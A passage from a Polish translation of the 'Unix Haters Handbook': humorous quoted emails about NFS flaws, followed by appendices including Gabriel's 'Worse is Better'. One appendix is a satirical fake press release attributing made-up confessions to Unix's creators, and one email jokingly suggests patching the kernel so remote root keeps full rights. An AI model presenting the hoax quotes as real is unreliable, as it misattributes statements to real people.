Z powodu tej sytuacji superuser ma mniejsze przywileje na stacji NFS niż nie-superuserzy. Jeśli jesteś zalogowany jako superuser, nie ma łatwego sposobu na odzyskanie swoich uprawnień – nie możesz uruchomić żadnego programu ani wpisać hasła. Jeśli chcesz

186

Page 187: Unix Haters Handbook

zmodyfikować plik na serwerze którego właścicielem jest root i plik jest tylko do odczytu, musisz zalogować się na serwer – chyba że załatasz system operacyjny na serwerze aby wyeliminować zabezpieczenia. Ian Horswill podsumował to wszystko w grudniu 1990 w odpowiedzi na pytanie człowieka który próbował uruchomić program SUID dostarczający pocztę /bin/mail na jednym komputerze ale miał pliki poczty w /usr/spool/mail na innym komputerze, zamontowanym przez NFS.

Date: Fri, 7 Dec 90 12:48:50 ESTFrom: “Ian D. Horswill” <[email protected]>To: UNIX-HATERSSubject: Computational Cosmology, and the Theology of Unix

To działa tak. Sun ma swój chałowy sieciowy system plików. Niestety, nie ma żadnej prawdziwej teorii kontroli dostępu. Jest to częściowo związane z tym, że Unix też nie ma. Ma dwa poziomy: śmiertelnika i Boga. Bóg (root) może zrobić wszystko. Problem z sieciami jest taki, że powodują politeizm: czy Bóg mojej stacji powinien móc zamienić twoją stację w słup soli? Cóż, to zależy od tego czy mój Bóg i twój Bóg są w dobrych stosunkach albo może są tak naprawdę TYM SAMYM Bogiem. To głębokie i ważne pytanie teologiczne dręczące ludzkość od tysiącleci.

Kernel Sun-a ma poprawialną przez użytkownika kosmologię. Zawiera bit politeizmu zwany „nobody”. Kiedy żądanie pliku w sieci pochodzi od roota (Boga), mapuje to żądanie na wartość zmiennej kernela „nobody” która domyślnie jest ustawiona na –1 która nie odpowiada żadnemu użytkownikowi zamiast 0, binarną reprezentację Boga (*). To domyślnie odpowiada panteonowi Greków w którym było wielu bogów starających się wkurzyć nawzajem (dosłownie i w przenośni w przypadku Greków). Jednak używając adb aby ustawić zmienną kernela „nobody” na 0 w boskim obrazie startowym, możesz przejść do kosmologii Ba’hai, w której każdy Bóg jest naprawdę manifestacją Jednego Pierwszego Boga, Zera, tym samym wynajdując monoteizm.

Więc kiedy manifestacja bożego ducha, /bin/mail, próbuje utworzyć skrzynkę na zdalnym serwerze monoteistycznego Unixa, będzie w stanie wywołać boską komendę chown (zmień właściciela) aby uczynić ją wystarczająco świecką dla ciebie aby ją dotykać bez spontanicznego spalenia i potępienia twojej nieśmiertelnej duszy w piekle. W politeistycznym Unixie boski /bin/mail nie jest boski, więc twój plik poczty jest tworzony przez „nobody” i kiedy /bin/mail wywołuje boską komendę chown, która skutkuje kodem błędu który nie jest sprawdzany, ponieważ wie, że jest tak naprawdę nieomylny.

Więc popraw kernel na serwerze plików albo uruchom sendmaila na serwerze.

-ian

(*) To, że Bóg ma binarną reprezentację to kolejna jasna wskazówka że Unix jest ekstremalnie kabalistyczny i został prawdopodobnie napisany przez uczniów Aleistera Crowleya.

Niespecyficzny system plików? (nie całkiem)

Projektanci NFS myśleli że projektują sieciowy system plików który może działać z komputerami mającymi inne niż Unix systemy operacyjne i z innymi systemami plików niż Unixowe. Niestety nie próbowali zweryfikować tego przekonania zanim zrobili pierwszą

187

Page 188: Unix Haters Handbook

implementację, tym samym ustanawiając protokół jako niezmienialny standard. Dzisiaj utknęliśmy z nim. Chociaż jest prawdą że serwery i klienci NFS zostali napisani dla mikrokomputerów jak DOS-owe PeCety i Macintoshe, prawdą jest także to że żaden z nich nie działa dobrze.

Date: 19 Jul 89 19:51:45 GMTFrom: [email protected] (Tim Maroney)Subject: Re: NFS and Mac IIsNewsgroups: comp.protocols.nfs,comp.sys.mac

Może niektórych zainteresować że TOPS, firma Sun Microsystems, została zmuszona od czasu zakupu przez Suna do produkcji Macintosh NFS i do zastąpienia aktualnego produktu TOPS przez ten Macintosh NFS. Ostatniego roku to zamierzenie zostało porzucone. Jest po prostu za dużo technicznych przeszkód aby wyprodukować dobry klient lub serwer NFS który jest kompatybilny z systemem plików Macintosha. Ograniczenia efektywności wymuszone przez model RPC są jednym większym problemem, brak elastyczności protokołu NFS jest drugim.

TOPS negocjował z Sunem zmiany w protokole NFS które pozwoliłyby na efektywne operacje z systemem plików Macintosha. Jednak te negocjacje zakończyły się fiaskiem z powodu ich blokowania przez Suna.

Nigdy nie będzie dobrego klienta NFS dla Macintosha bez dużych zmian w protokole NFS. Takie rzeczy się nie zdarzają.

Nie chcę żeby to źle zabrzmiało, ale fakty są takie że NFS nie jest dobrze dopasowany do środowisk z różnymi systemami operacyjnymi. Działa bardzo dobrze pomiędzy systemami Unixowymi, znośnie pomiędzy Unixem i podobnie ultra-prostym systemem plików MS-DOSa. Nie działa ze złożonym systemem plików jak Macintosha czy VMS. Może być zmuszony do działania, ale tylko za wielką cenę trudności i widzialnej przez użytkownika straty wydajności. Przyjmowana międzysystemowa natura NFS-u jest prawdopodobnie wymysłem (chociaż szczerym) gwiazdookich inżynierów Suna; ten aspekt protokołu powstał długo przed jakąkolwiek nie-Unixową implementacją.

Tim Maroney, Mac Software Consultant, [email protected]

Wirtualne uszkodzenie pliku

Co może być lepszego niż sieciowy system plików który uszkadza twoje pliki? System plików który naprawdę nie uszkadza ich, ale tylko sprawia że wyglądają jakby były uszkodzone. NFS czasami to robi.

Date: Fri, 5 Jan 90 14:01:05 ESTFrom: [email protected] (Curtis Fennell)Subject: Re: NFS ProblemsTo: [email protected]

Jak większość z was wie, mieliśmy problemy z NFS-em z powodu błędu w systemie operacyjnym Sunów. Ten błąd powodował pokazywanie zamontowanych przez NFS plików jako uszkodzonych, podczas gdy faktycznie były OK. Podjęliśmy rekomendowane kroki aby naprawić ten problem, ale dopóki Sun nie da nam poprawki, czasami będzie się zdarzać.

Symptomy problemu to:

188

Page 189: Unix Haters Handbook

Podczas logowania albo dostępu do pliku, wygląda jakby w pliku były śmiecie albo jakby był to zupełnie inny plik. Może także wpłynąć na plik .login tak że kiedy zalogujesz się, zobaczysz inny prompt albo dostaniesz komunikat błędu że nie masz katalogu z plikami login. Jest tak ponieważ system załadował niewłaściwy wskaźnik przez sieć. Twój oryginalny plik prawdopodobnie jest OK., ale źle wygląda.

Jeśli ci się to przydarzy, pierwszą rzeczą do zrobienia jest sprawdzenie pliku na serwerze żeby zobaczyć czy na serwerze jest OK. Możesz to zrobić przez zalogowanie się bezpośrednio na serwer na którym są twoje pliki i obejrzenie plików.

Jeśli odkryjesz że twoje pliki zostały uszkodzone lokalnie, ale nie na serwerze, wszystko co musisz zrobić to lokalnie się wylogować i spróbować ponownie. Wszystko powinno być OK. po ponownym zalogowaniu. NIE PRÓBUJ usuwać plików uszkodzonych lokalnie. Możesz przez przypadek skasować dobre pliki na serwerze.

PAMIĘTAJ, ten problem powoduje tylko że twoje pliki wyglądają jak uszkodzone, tak naprawdę ich nie uszkadza.

Powinniśmy szybko dostać poprawkę; w międzyczasie używajcie rekomendowanych przeze mnie kroków. Jeśli to nie zadziała albo macie jakieś pytania, zawsze możecie liczyć na moją pomoc.

- Curt

Jednym z powodów że NFS po cichu uszkadza pliki jest to, że domyślnie NFS jest dostarczany z wyłączonymi systemami wykrywania błędów sumy kontrolnej UDP. Ma sens, nieprawdaż? W końcu liczenie sum kontrolnych zajmuje dużo czasu, a sieć jest zwykle niezawodna. W końcu tak było w 1984 i 1985, kiedy podjęto decyzję.

NFS powinien znać różnicę pomiędzy plikami i katalogami. Niestety, różne wersje NFS-u wchodzą ze sobą w dziwne interakcje co czasami powoduje nieprzewidywalne rezultaty.

Date: Tue, 15 Jan 91 14:38:00 ESTFrom: Judy Anderson <[email protected]>To: UNIX-HATERSSubject: Unix / NFS does it again...

boston-harbor% rmdir foormdir: foo: Not a directoryboston-harbor% rm foorm: foo is a directory

Eee? Jak ja to zrobiłem???Tak:

boston-harbor% mkdir fooboston-harbor% cat > foo

Dostałem błąd od cat że foo to katalog więc nie może być wyjściem. Ale dzięki magii NFS skasował katalog i utworzył pusty plik dla wyjścia z cat.

Oczywiście katalog miał w sobie PLIKI, które przeszły do nicości. Ups. To uprzyjemniło mi dzień... Co za dobrze zaprojektowany system komputerowy.

yduJ (Judy Anderson) [email protected]'yduJ' rhymes with 'fudge'

189

Page 190: Unix Haters Handbook

Zamrożona ramka!

NFS często zatrzymuje twój komputer na śmierć. To zamrażanie następuje w wyniku wielu różnych okoliczności w wielu różnych wersjach NFS. Czasami dzieje się tak ponieważ systemy plików są na sztywo zamontowane i serwer plików zostaje wyłączony. Dlaczego nie zamontować „miękko” serwera plików? Ponieważ kiedy serwer jest zamontowany „miękko” i jest przeciążony, zaczyna uszkadzać dane w związku z problemami z pamięcią podręczną NFS.

Innym sposobem zamrożenia systemu przez NFS to niektóre programy które myślą, że mogą używać wywołania systemowego Unixa z flagą standardu POSIX-a „wyłączne tworzenie” (exclusive-create). GNU Emacs jest jednym z tych programów.

Oto co się dzieje kiedy próbujesz zamontować katalog /usr/lib/emacs/lock przez NFS:

Date: Wed, 18 Sep 1991 02:16:03 GMTFrom: [email protected] (Mark V. Meuer)Organization: Minnesota Supercomputer InstituteSubject: Re: File find delay within Emacs on a NeXTTo: [email protected]

In article <[email protected]> [email protected] (Mark V. Meuer) writes:

Mam NeXT-a z wersją 2.1 systemu plików. Mamy działającego Emacsa 18.55. (Proszę nie mówić mi o aktualizacji do wersji 18.57 dopóki ktoś nie wskaże też plików diff albo przynajmniej m- plików dla NeXT-a). Jest kilka maszyn w naszej sieci i używamy „żółtych stron” (yellow pages). Problem jest taki że zawsze kiedy próbowałem znaleźć plik (przez „C-x C-f”, „emacs plik” albo poprzez rozmowę klienta z serwerem) Emacs zamrażał się całkowicie na 15 do 30 sekund. Następnie plik ładował się i wszystko było świetnie. Mniej więcej raz na 10 razy plik ładował się od razu bez żadnych opóźnień.

Kilka osób przysłało mi sugestie (dziękuję!), ale wstrętne opóźnienie zostało ostatecznie wyjaśnione i poprawione przez Scotta Bertilsona, jednego z naprawdę mądrych ludzi pracujących tutaj w Centrum.

Dla ludzi też mających ten problem, krótką drogą do poprawy jest zrobienie /usr/lib/emacs/lock jako linka symbolicznego do /tmp. Poniżej pełne wyjaśnienie.

Wyśledziłem że jest plik zwany !!!SuperLock!!! w /usr/lib/emacs/lock, i kiedy plik istnieje następuje opóźnienie. Kiedy go nie było, zwykle nie było też opóźnienia.

Znaleźliśmy segment kodu powodujący problem. Kiedy Emacs próbował otworzyć plik do edycji, próbował także wyłącznego tworzenia pliku superlock. Jeśli wyłączne tworzenie zawodziło, próbował jeszcze 19 razy z jednosekundowymi przerwami pomiędzy próbami. Po 20 próbie ignorował plik blokady i otwierał plik wskazany przez użytkownika. Jeśli udało się utworzyć plik blokady, otwierał plik użytkownika i natychmiast usuwał plik blokady.

Nasz problem był taki, że /usr/lib/emacs/lock był zamontowany przez NFS, i najwyraźniej NFS nie obsługuje wyłącznego tworzenia. Komenda powoduje utworzenie pliku, ale zwraca błąd że nie udało się go utworzyć. Ponieważ Emacs myśli że nie mógł utworzyć blokady, nigdy jej nie usuwa. Ale kiedy uda mu się ją utworzyć, wszystkie przyszłe próby otworzenia pliku napotykają ten plik blokady i

190

Page 191: Unix Haters Handbook

wymuszają na Emacsie 20-sekundową pętlę przed przejściem dalej. To była przyczyna opóźnienia.

Rozwiązaniem problemu było zrobienie /usr/lib/emacs/lock jako linka symbolicznego do /tmp, tak żeby zawsze wskazywał na katalog lokalny i omijał błąd wyłącznego tworzenia w NFS-ie. Wiem, że jest to dalekie od doskonałości, ale działa poprawnie jak dotąd. Dziękuję wszystkim którzy odpowiedzieli na moją prośbę o pomoc. Dobrze wiedzieć że jest tak wielu przyjaznych ludzi w sieci.

Zamrażanie jest pogarszane przez każdy program próbujący otrzymać nazwę bieżącego katalogu.

Unix nadal nie ma prostego mechanizmu, z którego mógłby skorzystać proces w celu odkrycia jaki jest jego „bieżący katalog”. Jeśli jesteś w bieżącym katalogu, „.”, jedynym sposobem na znalezienie jego nazwy jest wejście do zawartego w nim katalogu „..” (czyli wyjście do katalogu nadrzędnego) i szukanie w nim katalogu który ma taki sam numer i-węzła jak bieżący katalog, „.”. To jest nazwa twojego katalogu. (Zauważ że ten proces zawodzi z katalogami które są docelowymi katalogami linków symbolicznych).

Na szczęście ten proces jest zautomatyzowany przez funkcję nazwaną getcwd(). Niestety, programy używające getcwd() niespodziewanie się zatrzymują. Carl M. Manning w MIT AI Lab został pogryziony przez ten błąd w 1990.

Date: Wed, 12 Dec 90 15:07 ESTFrom: Jerry Roylance <[email protected]>Subject: Emacs needs all file servers? (was: AB going down)To: [email protected]: [email protected], [email protected]

Date: Wed, 12 Dec 90 14:16 ESTFrom: Carl R. Manning <[email protected]>

Z ciekawości, czy jest powód dla którego Emacs nie może się uruchomić (np. na rice-chex) kiedy którykolwiek z serwerów plików jest wyłączony? Np. kiedy AB albo WH zostały ostatnio wyłączone z powodu problemów dyskowych, nie mogłem uruchomić Emacsa na RC, pomimo faktu że nie miałem zamiaru dotykać żadnych plików na AB albo WH.

Uszkodzenie mózgu Suna. Emacs wywołuje getcwd, a getcwd wędruje po zamontowanych systemach plików w /etc/mtab. Jeśli któryś z tych systemów plików nie odpowiada, Emacs czeka na timeout. Nieobecność systemu plików jest częsta na publicznych maszynach jak RC. (Uruchomienie RC rozwiąże problem).

Uruchomienie rice-chex rozwiąże problem. Jak miło! Miejmy nadzieję, że nie robiłeś akurat niczego ważnego.

Nie wspomaga różnych architektur

Unix został zaporjektowany w homogenicznym świecie. Niestety, zarządzanie heterogenicznym światem (nawet maszyn tego samego sprzedawcy) wymaga zadziwiająco złożonych tablic montowania i struktur systemów plików, i nawet mimo tego, niektóre katalogi (jak /usr/etc) zawierają mieszaninę specyficznych dla architektury i zależnych od architektury plików. W przeciwieństwie do innych sieciowych systemów plików (jak Andrew

191

Page 192: Unix Haters Handbook

File System), NFS nie ma żadnych środków do rozwiązania problemu „widzenia” różnych plików w tym samym miejscy przez różne rodzaje klientów. W przeciwieństwie do innych systemów operacyjnych (jak Mach) Unix nie ma środków do wepchnięcia wielu zależnych od architektury obiektów modułów do jednego pliku.

Możesz zobaczyć jakie rodzaje problemów powstają w rezultacie:

Date: Fri, 5 Jan 90 14:44 CSTFrom: Chris Garrigues <[email protected]>Subject: Multiple architecture woesTo: UNIX-HATERS

Uruchamiam właśnie X.500 od NYSERnet (który jest swoją drogą całkiem dobrze trzymającym się kupy systemem, jak na standardy Unixa).

Jest tutaj mnóstwo kodu jakiego potrzebujesz dla serwera. Skompilowałem cały ten kod, i po pewnej szarpaninie, w końcu zaczął działać. Większość tej szarpaniny polegała na próbie kompilacji systemu który znajdował się na różnych systemach plików i tym samym zakładał, że że będziesz dokonywał kompilacji jako root. Wygląda na to że ktoś się zorientował że nigdy nie może założyć że root na innym systemie jest godny zaufania, więc root ma mniejsze przywileje niż ja kiedy zalogowałem się na siebie.

Kiedy serwer zaczął działać, dotarłem do dokumentacji która mówiła jak uruchomić koniec użytkownika, więc potrzebowałem skopiować pewne pliki na komputery klientów. Cóż, ponieważ używamy NFS, te pliki były na swoich miejscach, więc wygrałem na wszystkich maszynach o tej samej architekturze (SUN3, w tym wypadku).

Niestety, wiele z naszych maszyn to SUN-y 4. Nie ma instrukcji jak skompilować tylko stronę klienta, więc wysłałem list do autora pytając o to. Powiedział że nie ma łatwego sposobu zrobienia tego, i będę musiał zacząć od ./make dystrybucji i przebudowania wszystkiego.

Ponieważ to duży system, zajęło to parę godzin, ale udało mi się, i kiedy znalazłem jakie pliki danych muszę skopiować (nieudokumentowane, oczywiście), zaczęłó działać.

W międzyczasie budowałem bazy danych dla systemu. Jeśli próbujesz załadować bazę danych z podwójnymi wpisami do działającego systemu, wywala się, ale dodali program skanujący plik z danymi i sprawdzający czy jest OK. Jest wpis w makefile do jego kompilacji, ale nie do instalacji, więc pozostaje w hierarchii źródeł.

Ostatniej nocy wywaliłem mój serwer X.500 poprzez załadowanie błędnej bazy danych do niego. Wyczyściłem ręcznie bazę i wtedy zdecydowałem być racjonalny i uruchomić ich program. Nie mogłem go znaleźć (ponieważ miał straszliwą ścieżkę w hierarchii źródeł). Naturalnie, został wykasowany przez ./make dystrybucji (czy nie tak ty nazwałbyś komendę do kasowania wszystkiego?) Pomyślałem sobie „Dobra, zrekompiluję go”. To nadal nie działało ponieważ było zależne od pośrednich plików które zostały zrekompilowane dla innej architektury.

Więc... jakie głupie funkcje Unixa spowodowały mój smutek?

1) Zamiast racjonalnego schematu przywilejów użytkowników, jest jeden uprzywilejowany użytkownik który może zrobić wszystko.

2) Unix został zaprojektowany w bezsieciowym świecie, i większość systemów na jakich działa przyjmuje na takim czy innym poziomie że używasz tylko jednego komputera.

192

Page 193: Unix Haters Handbook

3) NFS przyjmuje że klient zrobił walidację użytkownika we wszystkich przypadkach poza dostępem roota, wtedy przyjmuje że ten użytkownik jest zły i nie można mu zaufać niezależnie od wszystkiego.

4) Unix ma dziwną ideę budowania systemu w jednym miejscu, a potem przenoszenia wszystkiego co potrzebujesz gdzie indziej. Normalnie oznacza to że nigdy nie możesz znaleźć źródła do danej binarki, ale jest jeszcze gorsze w środowisku heterogenicznym gdzie naraz możesz trzymać pliki pośrednie tylko dla jednej wersji.

Dostałem ostatniej nocy list od autora systemu mówiący mi żebym się zrelaksował ponieważ to miało być śmieszne. Ciekawe czy uczestnicy Usenix-a siedzą w swoich pokojach hotelowych i dźgają się w nogi nożami X-Acto dla zabawy. Może na Usenix-ie, idą razem do wielkiej sali balowej hotelu i dźgają się w nogi w grupie.

193

Page 194: Unix Haters Handbook

Część czwarta:

Załączniki

194

Page 195: Unix Haters Handbook

Załącznik A: Epilog

Oświecenie przez Unixa

From: Michael Travers <[email protected]>Date: Sat, 1 Dec 90 00:47:28 -0500Subject: Enlightenment through UnixTo: UNIX-HATERS

Unix naucza nas o przejściowej naturze wszystkich rzeczy, tym samym uwalniając nas od [samsaric] załączników i przyspieszając oświecenie.

Na przykład podczas próby zrozumienia sensu skryptu inicjującego X jaki dostałem od kogoś, doszedłem do linii która wyglądałe jak zwykła komenda shellowa Unixa poprzedzona słowem „exec”. Ciekawy co może zrobić exec, wpisałem „exec ls” w oknie shella. Wylistował katalog, następnie zabił shella i każde inne okno jakie miałem, pozostawiając ekran prawie całkowicie czarny a małym białym nieaktywnym kursorem wiszącym na górze aby mi przypomnieć że nic nie jest absolutne i wszystkie rzeczy biorą część ze swoich przeciwieństw.

W przeszłości mogłem się zdenerwować w takim wypadku. To było przed oświeceniem jakie znalazłem przez Unixa. Teraz nie mam już załączników do moich procesów. Procesy i znikanie procesów są iluzoryczne. Świat to Unix, Unix to świat, pracują nieprzerwanie dla zbawienia wszystkich czujących istot.

195

Page 196: Unix Haters Handbook

Załącznik B: Unix i C były kawałami

Do natychmiastowego rozpowszechnienia

W oświadczeniu jakie oszołomiło przemysł komputerowy, Ken Thompson, Dennis Ritchie i Brian Kernighan stwierdzili że system operacyjny Unix i język programowania C stworzone przez nich są złożonymi kawałami primaaprilisowymi które przeżyły przez ponad 20 lat. W rozmowie na ostatnim UnixWorld Software Development Forum, Thompson ujawnił co następuje:

„W 1969, AT&T właśnie przerwało pracę nad projektem GE/AT&T Multics. Brian i ja zaczęliśmy pracować z wczesną wersją Pascala z laboratoriów ETH prof. Wirtha w Szwajcarii i byliśmy pod wrażeniem jego elegancji, prostoty i mocy. Dennis właśnie skończył czytać Nudziarza Pierścieni, wesołą parodię wielkiej trylogii Tolkiena Władca Pierścieni. Jako kawał, zdecydowaliśmy się zrobić parodie środowiska Multics i Pascala. Dennis i jak byliśmy odpowiedzialni za środowisko operacyjne. Popatrzyliśmy na Multicsa i zaprojektowaliśmy nowy system żeby był jak najbardziej złożony i tajemniczy, aby zwiększyć frustrację użytkowników, nazwaliśmy go Unix jako parodię Multicsa i wprowadziliśmy inne ryzykowne aluzje.

Potem Dennis i Brian pracowali nad naprawdę spaczoną wersją Pascala, nazwaną „A”. Kiedy stwierdziliśmy że inni próbują pisać prawdziwe programy, szybko dodaliśmy kolejne tajemnicze funkcje i ewoluowaliśmy do B, BCPL, i wreszcie C. Zatrzymaliśmy się kiedy czysto skompilowała nam się następująca składnia:

for(;P("\n"),R=;P("|"))for(e=C;e=P("_"+(*u++/8)%2))P("|"+(*u/4)%2);

Myśl że współcześni programiści będą próbować używać języka który pozwala na takie wyrażenia nie mieściła nam się w głowie! Właściwie myśleliśmy o sprzedaniu go Sowietom aby cofnąć ich postęp w naukach komputerowych o 20 albo więcej lat. Wyobraźcie sobie niespodziankę kiedy AT&T i inne firmy w USA zaczęły próbować używać Unixa i C! Zajęło im 20 lat, zanim stali się wystarczającymi ekspertami aby stworzyć nawet marginalnie użyteczne aplikacje używając tej technologicznej parodii z lat 60., ale jesteśmy pod wrażeniem uporu programistów C i Unixa.

W każdym przypadku Brian, Dennis i ja pracowaliśmy wyłącznie w Lispie na Macintoshach przez kilka ostatnich lat i czujemy się naprawdę winni chaosu, dezorientacji i naprawdę złego programowania jakie wynikło z naszego głupiego kawału tak dawno temu.”

Najwięksi sprzedawcy i klienci C i Unixa, w tym AT&T, Microsoft, HP, GTE, NCR i DEC odmówili komentarza. Borland International, wiodący sprzedawca narzędzi Pascala i C, włącznie z popularnymi Turbo Pascalem, Turbo C i Turbo C++ stwierdzili że podejrzewali to od lat i będą kontynuować rozwój Pascala i wstrzymają dalsze wysiłki rozwoju C. Rzecznik IBM wpadł w niekontrolowany śmiech i musiał odłożyć szybko zebraną konferencję odnośnie losów RS/6000, jedynie mówiąc „OS do pracy będzie dostępny niedługo”. W tajemniczym oświadczeniu prof. Wirth z Instututu ETH, ojciec języków strukturalnych Pascal, Modula 2 i Oberon zaledwie stwierdził że P. T. Barnum miał rację.

196

Page 197: Unix Haters Handbook

Załącznik C: Gorsze jest lepsze

Autor: Richard P. Gabriel

Główny problem z Lisp-em dzisiaj wyrasta ze zderzenia pomiędzy dwoma przeciwstawnymi filozofiami programowymi. Te dwie filozofie są nazywane „Dobra rzecz” i „Gorsze jest lepsze”.

Ja, i prawie każdy projektant Common Lisp i CLOS, mieliśmy ekstremalne narażenie na styl projektowania MIT/Stanford. Esencja tego stylu może być zawarta w słowach „dobra rzecz”. Dla takiego projektanta ważne jest spełnienie wszystkich następujących wymogów:

- Prostota – projekt musi być prosty, w implementacji i w interfejsie. Ważniejsza jest prostota interfejsu niż implementacji.

- Poprawność – projekt musi być poprawny we wszystkich obserwowalnych aspektach. Niepoprawność jest niedopuszczalna.

- Spójność – projekt nie może być niespójny. Projekt może być trochę mniej prosty i mniej kompletny aby zapobiec niespójności. Spójność jest tak samo ważna jak poprawność.

- Kompletność – projekt musi obejmować tak wiele ważnych sytuacji jak jest w praktyce. Wszystkie rozsądnie spodziewane przypadki muszą być objęte. Prostota nie może zmniejszyć kompletności.

Myślę że większość osób się zgodzi, że są to dobre cechy. Będę nazywał używanie tej filozofii projektowej „podejściem MIT”. Common Lisp (z CLOS) i Scheme reprezentują podejście MIT do projektowania i implementacji.

Filozofia „gorsze jest lepsze” jest tylko trochę inna:

- Prostota – projekt musi być prosty, w implementacji i w interfejsie. Ważniejsza jest prostota implementacji niż interfejsu. Prostota jest najważniejszym wymogiem projektu.

- Poprawność – projekt musi być poprawny we wszystkich obserwowalnych aspektach. Trochę lepiej jest być prostym niż poprawnym.

- Spójność – projekt nie może być całkowicie niespójny. Spójność może być poświęcona na rzecz prostoty w pewnych przypadkach, ale lepiej porzucić fragmenty projektu odpowiadające rzadszym okolicznościom niż wprowadzać implementacyjną złożoność lub niespójność.

- Kompletność – projekt musi obejmować tak wiele ważnych sytuacji jak jest w praktyce. Wszystkie rozsądnie spodziewane przypadki muszą być objęte. Kompletność może być poświęcona na rzecz jakiejkolwiek innej jakości. Faktycznie, kompletność musi być poświęcona zawsze kiedy prostota implementacji jest zagrożona. Spójność może być poświęcona aby osiągnąć kompletność jeśli prostota jest zachowana; szczególnie bezwartościowa jest spójność interfejsu.

Unix i C są przykładami użycia tej szkoły projektowania, i będę nazywał tą strategię projektową „podejściem New Jersey”. Umyślnie skarykaturyzowałem filozofię „gorsze jest lepsze” aby przekonać was, że jest to wyraźnie zła filozofia i podejście New Jersey jest złym podejściem.

197

Page 198: Unix Haters Handbook

Jednakże wierzę że „gorsze jest lepsze”, nawet w swojej [strawman] formie, ma lepszą charakterystykę przeżycia niż „dobra rzecz”, i że podejście New Jersey użyte do programów jest lepsze niż podejście MIT.

Pozwólcie że zacznę od opowiedzenia historii pokazującej że rozróżnienie MIT/New Jersey jest właściwe i że wyznawcy obu filozofii wierzą że ich filozofia jest lepsza.

Dwóch sławnych ludzi, jeden z MIT a drugi z Berkeley (ale pracujący na Unixie), spotkali się kiedyś aby porozmawiać o problemach z systemami operacyjnymi. Człowiek z MIT dobrze znał się na ITS (system operacyjny MIT AI Lab) i czytał źródła Unixa. Był zainteresowany, jak Unix rozwiązywał problem gubienia PC. [PC – Program Counter, licznik programu, jeden z rejestrów mikroprocesora]. Problem gubienia PC [PC loser-ing] występował kiedy program użytkownika wywoływał podprogram systemowy do wykonania długiej operacji która mogła mieć ważny stan, jak operacja I/O używająca buforów I/O. Jeśli przerwanie następuje w trakcie operacji, stan programu użytkownika musi być zapisany. Ponieważ wywołanie podprogramu systemowego zwykle jest jedną instrukcją, PC programu użytkownika nieadekwatnie przechwyca stan procesu. Podprogram systemowy musi wrócić albo iść do przodu. Właściwą rzeczą jest wrócić i przywrócić PC programu użytkownika który wywołał podprogram systemowy tak że wznowienie programu użytkownika po przerwaniu ponownie wywoła podprogram systemowy. Nazwano to „gubienie PC”, ponieważ PC jest wymuszony w „trybie frajera”, gdzie „frajer” to czuła nazwa „użytkownika” w MIT.

Facet z MIT nie widział żadnego kodu obsługującego taki przypadek i zapytał faceta z New Jersey, jak problem jest obsługiwany. Facet z New Jersey powiedział że ludzie Unixa mieli ten problem na uwadze, ale rozwiązaniem było zawsze zakończenie funkcji podprogramu systemowego, czasami z kodem błędu wskazującym że nie udało się zakończyć akcji. Właściwy program użytkownika musi sprawdzić kod błędu aby stwierdzić, że musi po prostu jeszcze raz wywołać podprogram systemowy. Facetowi z MIT nie podobało się takie rozwiązanie, ponieważ nie było właściwą rzeczą.

Facet z New Jersey mówił że rozwiązanie Unixa jest właściwe ponieważ filozofią projektową Unixa jest prostota, a właściwa rzecz byłaby zbyt złożona. Poza tym programiści mogą łatwo dodać ten dodatkowy test i pętlę. Facet z MIT wskazał że implementacja jest prosta, ale interfejs do funkcjonalności był złożony. Facet z New Jersey powiedział że właściwa wymiana została wybrana w Unixie – mianowicie prostota implementacji jest ważniejsza niż prostota interfejsu.Teraz chciałbym się pokłócić o to, czy „gorsze jest lepsze” jest lepsze. C jest językiem programowania zaprojektowanym do pisania Unixa, i został zaprojektowany z użyciem podejścia New Jersey. C jest wobec tego językiem dla którego łatwo napisać przyzwoity kompilator, i wymaga od programisty pisania tekstu który jest dla kompilatora łatwy do interpretacji. Niekórzy nazywają C kapryśnym assemblerem. Zarówno wczesny Unix, jak i kompilatory C miały proste struktury, były łatwe do portowania, wymagały niewielu zasobów systemowych do uruchomienia i zapewniały od 50% do 80% tego, czego oczekujesz od systemu operacyjnego i języka programowania.

Połowa istniejących komputerów zawsze jest gorsza od średniej (mniejsze albo wolniejsze). Unix i C pięknie na nich działały. Filozofia „gorsze jest lepsze” oznacza że prostota implementacji ma najwyższy priorytet, co oznacza że Unix i C są łatwe do przeportowania na takie maszyny. Tym samym ci którzy uważali że 50% funkcjonalności Unixa i C są satysfakcjonujące zaczęli się wszędzie pojawiać.

Unix i C są ostatecznymi wirusami komputerowymi.Dalszą korzyścią filozofii „gorsze jest lepsze” jest to, że programista jest

uwarunkowany żeby poświęcał bezpieczeństwo, wygodę i zajmował się wydajnością i skromnym zużyciem zasobów systemowych. Programy pisane z użyciem podejścia New

198

Page 199: Unix Haters Handbook

Jersey będą działać dobrze na małych i dużych maszynach, a kod będzie przenośny ponieważ jest napisany na bazie wirusa.

Ważne jest żeby pamiętać że początkowy wirus był dobry. Jeśli tak, rozprzestrzenianie się wirusa zostało zapewnione tak długo, jak był przenośny. Kiedy wirus się rozprzestrzenił, był nacisk na jego ulepszenie, możliwie poprzez zwiększenie funkcjonalności bliżej do 90%, ale użytkownicy zostali uwarunkowani do zaakceptowania gorszej rzeczy zamiast lepszej. Tym samym oprogramowanie „gorsze jest lepsze” po pierwsze zyskało akceptację, po drugie przyzwyczajało użytkowników do mniejszych oczenikwań i po trzecie będzie poprawiane do momentu kiedy stanie się prawie dobrą rzeczą. W konkretnych słowach, chociaż kompilatory Lisp w 1987 były tak dobre jak kompilatory C, było więcej ekspertów od kompilatorów którzy chcieli uczynić kompilatory C lepszymi niż chcących uczynić kompilatory Lisp lepszymi.

Dobra wiadomość jest taka że w 1995 będziemy mieli dobry system operacyjny i język programowania, zła wiadomość jest taka że będą to Unix i C++.

Oto ostateczna korzyść z „gorsze jest lepsze”. Ponieważ język i system z New Jersey nie są naprawdę wystarczająco potężne aby zbudować złożone monolityczne oprogramowanie, duże systemy muszą być zaprojektowane poprzez ponowne używanie komponentów. Tym samym tradycja integracji została zapoczątkowana.

W jaki sposób układa się dobrą rzecz? Są dwa podstawowe scenariusze: „wielki złożony system” i „klejnot podobny do diamentu”.

Scenariusz „wielki złożony system” jest następujący:Najpierw dobra rzecz musi być zaprojektowana. Potem trzeba zaprojektować jej

implementację. Ponieważ to dobra rzecz, ma prawie 100% żądanej funkcjonalności, a prostota implementacji nigdy nie była rozważana więc dużo czasu zajmuje implementacja. Jest duża i złożona. Wymaga złożonych narzędzi do poprawnego używania. Ostatnie 20% zajmuje 80% wysiłku. Kiedy dobra rzecz w końcu wychodzi na światło dzienne działa zadowalająco tylko na najbardziej zaawansowanym sprzęcie.

